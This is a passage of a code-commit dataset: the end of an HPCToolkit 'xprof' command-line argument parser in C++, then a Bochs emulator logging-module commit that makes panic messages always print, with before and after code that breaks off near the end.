the following conditions are\n\/\/ met:\n\/\/ \n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ \n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ \n\/\/ * Neither the name of Rice University (RICE) nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/ \n\/\/ This software is provided by RICE and contributors \"as is\" and any\n\/\/ express or implied warranties, including, but not limited to, the\n\/\/ implied warranties of merchantability and fitness for a particular\n\/\/ purpose are disclaimed. In no event shall RICE or contributors be\n\/\/ liable for any direct, indirect, incidental, special, exemplary, or\n\/\/ consequential damages (including, but not limited to, procurement of\n\/\/ substitute goods or services; loss of use, data, or profits; or\n\/\/ business interruption) however caused and on any theory of liability,\n\/\/ whether in contract, strict liability, or tort (including negligence\n\/\/ or otherwise) arising in any way out of the use of this software, even\n\/\/ if advised of the possibility of such damage. \n\/\/ \n\/\/ ******************************************************* EndRiceCopyright *\n\n\/\/***************************************************************************\n\n\/\/************************* System Include Files ****************************\n\n#include <iostream>\n\n#include <unistd.h> \/\/ for 'getopt'\n\n\/\/*************************** User Include Files ****************************\n\n#include \"Args.h\"\n#include <lib\/support\/String.h>\n#include <lib\/support\/Trace.h>\n\n\/\/*************************** Forward Declarations **************************\n\nusing std::cerr;\nusing std::endl;\n\n\/\/***************************************************************************\n\nconst char* hpctoolsVerInfo=\n#include <include\/HPCToolkitVersionInfo.h>\n\nvoid Args::Version()\n{\n cerr << cmd << \": \" << hpctoolsVerInfo << endl;\n}\n\nvoid Args::Usage()\n{\n cerr\n << \"Usage: \" << endl\n << \" \" << cmd << \" [-l | -L] <binary> <profile>\\n\"\n << \" \" << cmd << \" [-V] [ [-M <mlist> -M...] [-X <xlist> -X...] [-R] ] <binary> <profile>\\n\"\n \n << endl;\n cerr\n << \"Converts various types of profile output into the PROFILE format,\\n\"\n << \"which, in particular, associates source file line information from\\n\"\n << \"<binary> with profile data from <profile>. In effect, the output is\\n\"\n << \"a [source-line -> PC-profile-data] map represented as a XML scope\\n\"\n << \"tree (e.g. file, procedure, statement). Output is sent to stdout.\\n\"\n << \"\\n\"\n << \"By default, xprof determines a set of metrics available for the\\n\" \n << \"given profile data and includes all of them in the PROFILE output.\\n\"\n << \"\\n\"\n#if 0 \/\/ FIXME '[-m <bloop-pcmap>]'\n << \"If no <bloop-pcmap> -- a map extended with analysis information\\n\"\n << \"from 'bloop' -- is provided, the program attempts to construct\\n\"\n << \"the PROFILE by querying the <binary>'s debugging information.\\n\"\n << \"Because of the better analysis ability of 'bloop', a <bloop-pcmap>\\n\"\n << \"usually improves the accuracy of the PROFILE. Moreover, because\\n\"\n << \"no loop recovery is performed, providing <bloop-pcmap> enables\\n\"\n << \"the PROFILE to represent loop nesting information.\\n\"\n << \"[*Not fully implemented.*]\\n\"\n << \"\\n\"\n << \" -m: specify <bloop-pcmap>\\n\"\n#endif \n << \"The following <profile> formats are currently supported: \\n\"\n << \" - DEC\/Compaq\/HP's DCPI 'dcpicat' (including ProfileMe) \\n\"\n << \"\\n\"\n << \"Listing available metrics:\\n\"\n << \" -l List all derived metrics, in compact form, available from\\n\"\n << \" <profile> and suppress generation of PROFILE output.\\n\"\n << \" Note that this output can be used with the -M option.\\n\"\n << \" -L List all derived metrics, in long form, available from\\n\"\n << \" <profile> and suppress generation of PROFILE output.\\n\"\n << \"\\n\" \n << \"Normal Mode:\\n\"\n << \" -V Print version information.\\n\"\n << \" -M mlist Optional colon-separated metric inclusion list. Replaces\\n\"\n << \" the default metric list. Metrics in PROFILE output will.\\n\"\n << \" follow this ordering. Duplicates are allowed (though\\n\"\n << \" not recommended).\\n\"\n << \" -X xlist Optional colon-separated metric exclusion list. Excludes\\n\"\n << \" the listed metrics from either the default metric list or\\n\"\n << \" the list specified with -M.\\n\"\n << \" -R (Most will not find this useful.) For some profile data,\\n\"\n << \" such as DCPI's ProfileMe, the default is to output derived\\n\"\n << \" metrics, not the underlying raw metrics; this option\\n\"\n << \" forces output of only the raw metrics. Should not be\\n\"\n << \" used with -M or -X.\\n\"\n << endl;\n} \n\nArgs::Args(int argc, char* const* argv)\n{\n cmd = argv[0]; \n\n bool printVersion = false;\n listAvailableMetrics = 0; \/\/ 0: no, 1: short, 2: long\n outputRawMetrics = false;\n \n extern char *optarg;\n extern int optind;\n bool error = false;\n trace = 0;\n int c;\n while ((c = getopt(argc, argv, \"Vm:lLM:X:Rd\")) != EOF) {\n switch (c) {\n case 'V': { \n printVersion = true;\n break; \n }\n case 'm': {\n \/\/ A non-null value of 'pcMapFile' indicates it has been set\n if (optarg == NULL) { error = true; }\n pcMapFile = optarg;\n break; \n }\n\n case 'l': { \n listAvailableMetrics = 1;\n break; \n }\n case 'L': { \n listAvailableMetrics = 2;\n break; \n }\n\n case 'M': { \/\/ may occur multiple times\n if (optarg == NULL) { error = true; }\n if (!metricList.Empty()) { metricList += \":\"; }\n metricList += optarg;\n break; \n }\n case 'X': { \/\/ may occur multiple times\n if (optarg == NULL) { error = true; }\n if (!excludeMList.Empty()) { excludeMList += \":\"; }\n excludeMList += optarg;\n break; \n }\n case 'R': { \n outputRawMetrics = true;\n break; \n }\n\n case 'd': { \/\/ debug \n trace++; \n break; \n }\n case ':':\n case '?': { \/\/ error\n error = true; \n break; \n }\n }\n }\n\n error = error || (optind != argc-2); \n if (!error) {\n progFile = argv[optind];\n profFile = argv[optind+1]; \n } \n\n \/\/ Sanity check: -M,-X and -R should not be used at the same time\n if ( (!metricList.Empty() || !excludeMList.Empty()) && outputRawMetrics) {\n cerr << \"Error: -M or -X cannot be used with -R.\\n\";\n error = true;\n }\n\n IFTRACE << \"Args.cmd= \" << cmd << endl; \n IFTRACE << \"Args.progFile= \" << progFile << endl;\n IFTRACE << \"Args.profFile= \" << profFile << endl;\n IFTRACE << \"Args.pcMapFile= \" << pcMapFile << endl;\n IFTRACE << \"::trace \" << ::trace << endl; \n\n if (printVersion) {\n Version();\n exit(1);\n }\n \n if (error) {\n Usage(); \n exit(1); \n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2001 MandrakeSoft S.A.\n\/\/\n\/\/ MandrakeSoft S.A.\n\/\/ 43, rue d'Aboukir\n\/\/ 75002 Paris - France\n\/\/ http:\/\/www.linux-mandrake.com\/\n\/\/ http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\n#include \"bochs.h\"\n#include <assert.h>\n#include \"state_file.h\"\n\nstatic char *divider = \"========================================================================\";\n\n\/\/ Just for the iofunctions\n\n#define LOG_THIS this->log->\n\nint Allocio=0;\n\nvoid\niofunctions::flush(void) {\n\tif(logfd && magic == MAGIC_LOGNUM) {\n\t\tfflush(logfd);\n\t}\n}\n\nvoid\niofunctions::init(void) {\n\t\/\/ iofunctions methods must not be called before this magic\n\t\/\/ number is set.\n\tmagic=MAGIC_LOGNUM;\n\tshowtick = 1;\n\tn_logfn = 0;\n\tinit_log(stderr);\n\tlog = new logfunc_t(this);\n\tLOG_THIS put(\"IO\");\n\tLOG_THIS settype(IOLOG);\n\tBX_DEBUG((\"Init(log file: '%s').\",logfn));\n}\n\nvoid\niofunctions::add_logfn (logfunc_t *fn)\n{\n assert (n_logfn < MAX_LOGFNS);\n logfn_list[n_logfn++] = fn;\n}\n\nvoid\niofunctions::set_log_action (int loglevel, int action)\n{\n for (int i=0; i<n_logfn; i++)\n logfn_list[i]->setonoff(loglevel, action);\n}\n\nvoid\niofunctions::init_log(char *fn)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\t\/\/ use newfd\/newfn so that we can log the message to the OLD log\n\t\/\/ file descriptor.\n\tFILE *newfd = stderr;\n\tchar *newfn = \"\/dev\/stderr\";\n\tif( strcmp( fn, \"-\" ) != 0 ) {\n\t\tnewfd = fopen(fn, \"w\");\n\t\tif(newfd != NULL) {\n\t\t\tnewfn = strdup(fn);\n\t\t\tBX_DEBUG((\"Opened log file '%s'.\", fn ));\n\t\t} else {\n\t\t \tBX_PANIC((\"Couldn't open log file: %s\", fn));\n\t\t}\n\t}\n\tlogfd = newfd;\n\tlogfn = newfn;\n}\n\nvoid\niofunctions::init_log(FILE *fs)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\tlogfd = fs;\n\n\tif(fs == stderr) {\n\t\tlogfn = \"\/dev\/stderr\";\n\t} else if(fs == stdout) { \n\t\tlogfn = \"\/dev\/stdout\";\n\t} else {\n\t\tlogfn = \"(unknown)\";\n\t}\n}\n\nvoid\niofunctions::init_log(int fd)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\tFILE *tmpfd;\n\tif( (tmpfd = fdopen(fd,\"w\")) == NULL ) {\n\t BX_PANIC((\"Couldn't open fd %d as a stream for writing\", fd));\n\t return;\n\t}\n\n\tinit_log(tmpfd);\n\treturn;\n};\n\n\/\/ iofunctions::out( class, level, prefix, fmt, ap)\n\/\/ DO NOT nest out() from ::info() and the like.\n\/\/ fmt and ap retained for direct printinf from iofunctions only!\n\nvoid\niofunctions::out(int f, int l, char *prefix, char *fmt, va_list ap)\n{\n\tchar c=' ';\n\tassert (magic==MAGIC_LOGNUM);\n\tassert (this != NULL);\n\tassert (logfd != NULL);\n\n\tif( showtick )\n\t\tfprintf(logfd, \"%011lld\", bx_pc_system.time_ticks());\n\n\tswitch(l) {\n\t\tcase LOGLEV_INFO: c='i'; break;\n\t\tcase LOGLEV_PANIC: c='p'; break;\n\t\tcase LOGLEV_ERROR: c='e'; break;\n\t\tcase LOGLEV_DEBUG: c='d'; break;\n\t\tdefault: break;\n\t}\n\tfprintf(logfd, \"%c\",c);\n\n\tif(prefix != NULL)\n\t\tfprintf(logfd, \"%s \", prefix);\n\n\tif(l==LOGLEV_PANIC)\n\t\tfprintf(logfd, \">>PANIC<< \");\n\n\tvfprintf(logfd, fmt, ap);\n\tfprintf(logfd, \"\\n\");\n\tfflush(logfd);\n\n\treturn;\n}\n\niofunctions::iofunctions(FILE *fs)\n{\n\tinit();\n\tinit_log(fs);\n}\n\niofunctions::iofunctions(char *fn)\n{\n\tinit();\n\tinit_log(fn);\n}\n\niofunctions::iofunctions(int fd)\n{\n\tinit();\n\tinit_log(fd);\n}\n\niofunctions::iofunctions(void)\n{\n\tthis->init();\n}\n\niofunctions::~iofunctions(void)\n{\n\t\/\/ flush before erasing magic number, or flush does nothing.\n\tthis->flush();\n\tthis->magic=0;\n}\n\n#undef LOG_THIS\n#define LOG_THIS genlog->\n\nlogfunctions::logfunctions(void)\n{\n\tput(\" \");\n\tsettype(GENLOG);\n\tif(io == NULL && Allocio == 0) {\n\t\tAllocio = 1;\n\t\tio = new iofunc_t(stderr);\n\t}\n\tsetio(io);\n\t\/\/ BUG: unfortunately this can be called before the bochsrc is read,\n\t\/\/ which means that the bochsrc has no effect on the actions.\n\tfor (int i=0; i<N_LOGLEV; i++)\n\t onoff[i] = bx_options.log.actions[i];\n}\n\nlogfunctions::logfunctions(iofunc_t *iofunc)\n{\n\tput(\" \");\n\tsettype(GENLOG);\n\tsetio(iofunc);\n\t\/\/ BUG: unfortunately this can be called before the bochsrc is read,\n\t\/\/ which means that the bochsrc has no effect on the actions.\n\tfor (int i=0; i<N_LOGLEV; i++)\n\t onoff[i] = bx_options.log.actions[i];\n}\n\nlogfunctions::~logfunctions(void)\n{\n}\n\nvoid\nlogfunctions::setio(iofunc_t *i)\n{\n \t\/\/ add pointer to iofunction object to use\n\tthis->logio = i;\n\t\/\/ give iofunction a pointer to me\n\ti->add_logfn (this);\n}\n\nvoid\nlogfunctions::put(char *p)\n{\n\tchar *tmpbuf;\n\ttmpbuf=strdup(\"[ ]\");\/\/ if we ever have more than 32 chars,\n\t\t\t\t\t\t \/\/ we need to rethink this\n\tint len=strlen(p);\n\tfor(int i=1;i<len+1;i++) {\n\t\ttmpbuf[i]=p[i-1];\n\t}\n\t\t\n\tswitch(len) {\n\tcase 1: tmpbuf[2]=' ';\n\tcase 2: tmpbuf[3]=' ';\n\tcase 3: tmpbuf[4]=' ';\n\tcase 4: tmpbuf[5]=' ';\n\tdefault: tmpbuf[6]=']'; tmpbuf[7]='\\0'; break;\n\t}\n\t\n\tthis->prefix=tmpbuf;\n}\n\nvoid\nlogfunctions::settype(int t)\n{\n\ttype=t;\n}\n\nvoid\nlogfunctions::info(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_INFO]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_INFO,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_INFO] == ACT_ASK) \n\t ask (LOGLEV_INFO, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_INFO] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n\n}\n\nvoid\nlogfunctions::error(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_ERROR]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_ERROR,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_ERROR] == ACT_ASK) \n\t ask (LOGLEV_ERROR, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_ERROR] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::panic(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_PANIC]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_PANIC,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_PANIC] == ACT_ASK) \n\t ask (LOGLEV_PANIC, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_PANIC] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::ldebug(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_DEBUG]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_DEBUG,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_DEBUG] == ACT_ASK) \n\t ask (LOGLEV_DEBUG, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_DEBUG] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::ask (int level, char *prefix, char *fmt, va_list ap)\n{\n char buf1[1024], buf2[1024];\n vsprintf (buf1, fmt, ap);\n sprintf (buf2, \"%s %s\", prefix, buf1);\n \/\/ FIXME: facility set to 0 because it's unknown.\n int val = SIM->LOCAL_log_msg (prefix, level, buf2);\n switch (val)\n {\n case 0: \/\/ user chose continue\n break;\n case 1: \/\/ user said continue, and don't ask for this facility again.\n setonoff (level, ACT_REPORT);\n break;\n case 2: \/\/ user chose die\n fatal (prefix, fmt, ap);\n#if BX_DEBUGGER\n case 3:\n \/\/ user chose debugger. To \"drop into the debugger\" we just set the\n \/\/ interrupt_requested bit and continue execution. Before the next\n \/\/ instruction, it should notice the user interrupt and return to\n \/\/ the debugger.\n bx_guard.interrupt_requested = 1;\n break;\n#endif\n default:\n fprintf (stderr, \"WARNING: LOCAL_log_msg returned unexpected value %d\\n\", val);\n }\n}\n\nvoid\nlogfunctions::fatal (char *prefix, char *fmt, va_list ap)\n{\n static int fatal_reentry = 0;\n if (fatal_reentry) return;\n fatal_reentry++;\n bx_atexit();\n fprintf (stderr, \"%s\\n\", divider);\n fprintf (stderr, \"Bochs is exiting with the following message:\\n\");\n fprintf (stderr, \"%s \", prefix);\n vfprintf (stderr, fmt, ap);\n fprintf (stderr, \"\\n%s\\n\", divider);\n#if 0 && defined(WIN32)\n#error disabled because it is not working yet!\n \/\/ wait for a keypress before quitting. Depending on how bochs is\n \/\/ installed, the console window can disappear before the user has\n \/\/ a chance to read the final message.\n fprintf (stderr, \"\\n\\nPress Enter to exit...\\n\");\n char buf[8];\n fgets (buf, 8, stdin);\n#endif\n#if !BX_DEBUGGER\n exit(1);\n#else\n static Boolean dbg_exit_called = 0;\n if (dbg_exit_called == 0) {\n dbg_exit_called = 1;\n bx_dbg_exit(1);\n }\n#endif\n fatal_reentry--;\n}\n\niofunc_t *io = NULL;\nlogfunc_t *genlog = NULL;\n\nvoid bx_center_print (FILE *file, char *line, int maxwidth)\n{\n int imax;\n imax = (maxwidth - strlen(line)) >> 1;\n for (int i=0; i<imax; i++) fputc (' ', file);\n fputs (line, file);\n}\n\n\n<commit_msg>- bend the rules slightly so that panics get printed all the time, even if the user tried to set action=ignore.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2001 MandrakeSoft S.A.\n\/\/\n\/\/ MandrakeSoft S.A.\n\/\/ 43, rue d'Aboukir\n\/\/ 75002 Paris - France\n\/\/ http:\/\/www.linux-mandrake.com\/\n\/\/ http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\n#include \"bochs.h\"\n#include <assert.h>\n#include \"state_file.h\"\n\nstatic char *divider = \"========================================================================\";\n\n\/\/ Just for the iofunctions\n\n#define LOG_THIS this->log->\n\nint Allocio=0;\n\nvoid\niofunctions::flush(void) {\n\tif(logfd && magic == MAGIC_LOGNUM) {\n\t\tfflush(logfd);\n\t}\n}\n\nvoid\niofunctions::init(void) {\n\t\/\/ iofunctions methods must not be called before this magic\n\t\/\/ number is set.\n\tmagic=MAGIC_LOGNUM;\n\tshowtick = 1;\n\tn_logfn = 0;\n\tinit_log(stderr);\n\tlog = new logfunc_t(this);\n\tLOG_THIS put(\"IO\");\n\tLOG_THIS settype(IOLOG);\n\tBX_DEBUG((\"Init(log file: '%s').\",logfn));\n}\n\nvoid\niofunctions::add_logfn (logfunc_t *fn)\n{\n assert (n_logfn < MAX_LOGFNS);\n logfn_list[n_logfn++] = fn;\n}\n\nvoid\niofunctions::set_log_action (int loglevel, int action)\n{\n for (int i=0; i<n_logfn; i++)\n logfn_list[i]->setonoff(loglevel, action);\n}\n\nvoid\niofunctions::init_log(char *fn)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\t\/\/ use newfd\/newfn so that we can log the message to the OLD log\n\t\/\/ file descriptor.\n\tFILE *newfd = stderr;\n\tchar *newfn = \"\/dev\/stderr\";\n\tif( strcmp( fn, \"-\" ) != 0 ) {\n\t\tnewfd = fopen(fn, \"w\");\n\t\tif(newfd != NULL) {\n\t\t\tnewfn = strdup(fn);\n\t\t\tBX_DEBUG((\"Opened log file '%s'.\", fn ));\n\t\t} else {\n\t\t \tBX_PANIC((\"Couldn't open log file: %s\", fn));\n\t\t}\n\t}\n\tlogfd = newfd;\n\tlogfn = newfn;\n}\n\nvoid\niofunctions::init_log(FILE *fs)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\tlogfd = fs;\n\n\tif(fs == stderr) {\n\t\tlogfn = \"\/dev\/stderr\";\n\t} else if(fs == stdout) { \n\t\tlogfn = \"\/dev\/stdout\";\n\t} else {\n\t\tlogfn = \"(unknown)\";\n\t}\n}\n\nvoid\niofunctions::init_log(int fd)\n{\n\tassert (magic==MAGIC_LOGNUM);\n\tFILE *tmpfd;\n\tif( (tmpfd = fdopen(fd,\"w\")) == NULL ) {\n\t BX_PANIC((\"Couldn't open fd %d as a stream for writing\", fd));\n\t return;\n\t}\n\n\tinit_log(tmpfd);\n\treturn;\n};\n\n\/\/ iofunctions::out( class, level, prefix, fmt, ap)\n\/\/ DO NOT nest out() from ::info() and the like.\n\/\/ fmt and ap retained for direct printinf from iofunctions only!\n\nvoid\niofunctions::out(int f, int l, char *prefix, char *fmt, va_list ap)\n{\n\tchar c=' ';\n\tassert (magic==MAGIC_LOGNUM);\n\tassert (this != NULL);\n\tassert (logfd != NULL);\n\n\tif( showtick )\n\t\tfprintf(logfd, \"%011lld\", bx_pc_system.time_ticks());\n\n\tswitch(l) {\n\t\tcase LOGLEV_INFO: c='i'; break;\n\t\tcase LOGLEV_PANIC: c='p'; break;\n\t\tcase LOGLEV_ERROR: c='e'; break;\n\t\tcase LOGLEV_DEBUG: c='d'; break;\n\t\tdefault: break;\n\t}\n\tfprintf(logfd, \"%c\",c);\n\n\tif(prefix != NULL)\n\t\tfprintf(logfd, \"%s \", prefix);\n\n\tif(l==LOGLEV_PANIC)\n\t\tfprintf(logfd, \">>PANIC<< \");\n\n\tvfprintf(logfd, fmt, ap);\n\tfprintf(logfd, \"\\n\");\n\tfflush(logfd);\n\n\treturn;\n}\n\niofunctions::iofunctions(FILE *fs)\n{\n\tinit();\n\tinit_log(fs);\n}\n\niofunctions::iofunctions(char *fn)\n{\n\tinit();\n\tinit_log(fn);\n}\n\niofunctions::iofunctions(int fd)\n{\n\tinit();\n\tinit_log(fd);\n}\n\niofunctions::iofunctions(void)\n{\n\tthis->init();\n}\n\niofunctions::~iofunctions(void)\n{\n\t\/\/ flush before erasing magic number, or flush does nothing.\n\tthis->flush();\n\tthis->magic=0;\n}\n\n#undef LOG_THIS\n#define LOG_THIS genlog->\n\nlogfunctions::logfunctions(void)\n{\n\tput(\" \");\n\tsettype(GENLOG);\n\tif(io == NULL && Allocio == 0) {\n\t\tAllocio = 1;\n\t\tio = new iofunc_t(stderr);\n\t}\n\tsetio(io);\n\t\/\/ BUG: unfortunately this can be called before the bochsrc is read,\n\t\/\/ which means that the bochsrc has no effect on the actions.\n\tfor (int i=0; i<N_LOGLEV; i++)\n\t onoff[i] = bx_options.log.actions[i];\n}\n\nlogfunctions::logfunctions(iofunc_t *iofunc)\n{\n\tput(\" \");\n\tsettype(GENLOG);\n\tsetio(iofunc);\n\t\/\/ BUG: unfortunately this can be called before the bochsrc is read,\n\t\/\/ which means that the bochsrc has no effect on the actions.\n\tfor (int i=0; i<N_LOGLEV; i++)\n\t onoff[i] = bx_options.log.actions[i];\n}\n\nlogfunctions::~logfunctions(void)\n{\n}\n\nvoid\nlogfunctions::setio(iofunc_t *i)\n{\n \t\/\/ add pointer to iofunction object to use\n\tthis->logio = i;\n\t\/\/ give iofunction a pointer to me\n\ti->add_logfn (this);\n}\n\nvoid\nlogfunctions::put(char *p)\n{\n\tchar *tmpbuf;\n\ttmpbuf=strdup(\"[ ]\");\/\/ if we ever have more than 32 chars,\n\t\t\t\t\t\t \/\/ we need to rethink this\n\tint len=strlen(p);\n\tfor(int i=1;i<len+1;i++) {\n\t\ttmpbuf[i]=p[i-1];\n\t}\n\t\t\n\tswitch(len) {\n\tcase 1: tmpbuf[2]=' ';\n\tcase 2: tmpbuf[3]=' ';\n\tcase 3: tmpbuf[4]=' ';\n\tcase 4: tmpbuf[5]=' ';\n\tdefault: tmpbuf[6]=']'; tmpbuf[7]='\\0'; break;\n\t}\n\t\n\tthis->prefix=tmpbuf;\n}\n\nvoid\nlogfunctions::settype(int t)\n{\n\ttype=t;\n}\n\nvoid\nlogfunctions::info(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_INFO]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_INFO,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_INFO] == ACT_ASK) \n\t ask (LOGLEV_INFO, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_INFO] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n\n}\n\nvoid\nlogfunctions::error(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_ERROR]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_ERROR,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_ERROR] == ACT_ASK) \n\t ask (LOGLEV_ERROR, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_ERROR] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::panic(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\t\/\/ Special case for panics since they are so important. Always print\n\t\/\/ the panic to the log, no matter what the log action says.\n\t\/\/if(!onoff[LOGLEV_PANIC]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_PANIC,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_PANIC] == ACT_ASK) \n\t ask (LOGLEV_PANIC, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_PANIC] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::ldebug(char *fmt, ...)\n{\n\tva_list ap;\n\n\tassert (this != NULL);\n\tassert (this->logio != NULL);\n\n\tif(!onoff[LOGLEV_DEBUG]) return;\n\n\tva_start(ap, fmt);\n\tthis->logio->out(this->type,LOGLEV_DEBUG,this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_DEBUG] == ACT_ASK) \n\t ask (LOGLEV_DEBUG, this->prefix, fmt, ap);\n\tif (onoff[LOGLEV_DEBUG] == ACT_FATAL) \n\t fatal (this->prefix, fmt, ap);\n\tva_end(ap);\n}\n\nvoid\nlogfunctions::ask (int level, char *prefix, char *fmt, va_list ap)\n{\n char buf1[1024], buf2[1024];\n vsprintf (buf1, fmt, ap);\n sprintf (buf2, \"%s %s\", prefix, buf1);\n \/\/ FIXME: facility set to 0 because it's unknown.\n int val = SIM->LOCAL_log_msg (prefix, level, buf2);\n switch (val)\n {\n case 0: \/\/ user chose continue\n break;\n case 1: \/\/ user said continue, and don't ask for this facility again.\n setonoff (level, ACT_REPORT);\n break;\n case 2: \/\/ user chose die\n fatal (prefix, fmt, ap);\n#if BX_DEBUGGER\n case 3:\n \/\/ user chose debugger. To \"drop into the debugger\" we just set the\n \/\/ interrupt_requested bit and continue execution. Before the next\n \/\/ instruction, it should notice the user interrupt and return to\n \/\/ the debugger.\n bx_guard.interrupt_requested = 1;\n break;\n#endif\n default:\n fprintf (stderr, \"WARNING: LOCAL_log_msg returned unexpected value %d\\n\", val);\n }\n}\n\nvoid\nlogfunctions::fatal (char *prefix, char *fmt, va_list ap)\n{\n static int fatal_reentry = 0;\n if (fatal_reentry) return;\n fatal_reentry++;\n bx_atexit();\n fprintf (stderr, \"%s\\n\", divider);\n fprintf (stderr, \"Bochs is exiting with the following message:\\n\");\n fprintf (stderr, \"%s \", prefix);\n vfprintf (stderr, fmt, ap);\n fprintf (stderr, \"\\n%s\\n\", divider);\n#if 0 && defined(WIN32)\n#error disabled because it is not working yet!\n \/\/ wait for a keypress before quitting. Depending on how bochs is\n \/\/ installed, the console window can disappear before the user has\n \/\/ a chance to read the final message.\n fprintf (stderr, \"\\n\\nPress Enter to exit...\\n\");\n char buf[8];\n fgets (buf, 8, stdin);\n#endif\n#if !BX_DEBUGGER\n 